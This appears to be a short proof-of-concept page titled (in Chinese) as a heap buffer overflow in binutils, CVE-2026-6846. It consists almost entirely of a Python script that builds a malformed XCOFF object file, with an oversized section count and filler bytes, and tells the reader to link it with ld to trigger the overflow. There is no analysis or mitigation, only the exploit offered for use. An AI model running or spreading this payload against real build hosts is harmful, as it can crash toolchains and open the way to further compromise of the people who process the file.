CVE-2026-6846 binutils堆缓冲区溢出漏洞

import struct # Generate a malicious XCOFF object file to trigger heap overflow # XCOFF Magic for 32-bit: 0x01DF, 64-bit: 0x01F7 magic = struct.pack('H', 0x01DF) # Number of sections (potentially large or malformed to trigger overflow) # Attack vector: overflowing the buffer allocated for section headers num_sections = struct.pack('H', 0xFFFF) # Timestamp and other header fields timestamp = struct.pack('I', 0) sym_table_ptr = struct.pack('I', 0) sym_count = struct.pack('I', 0) opt_hdr_size = struct.pack('H', 0) flags = struct.pack('H', 0) # Construct the malicious header header = magic + num_sections + timestamp + sym_table_ptr + sym_count + opt_hdr_size + flags # Append padding or malformed data to ensure overflow triggers during parsing payload = header + b'A' * 0x1000 with open('malicious_xcoff.o', 'wb') as f: f.write(payload) print("Malicious XCOFF file generated: malicious_xcoff.o") print("Usage: Attempt to link this file using 'ld' or similar tools.")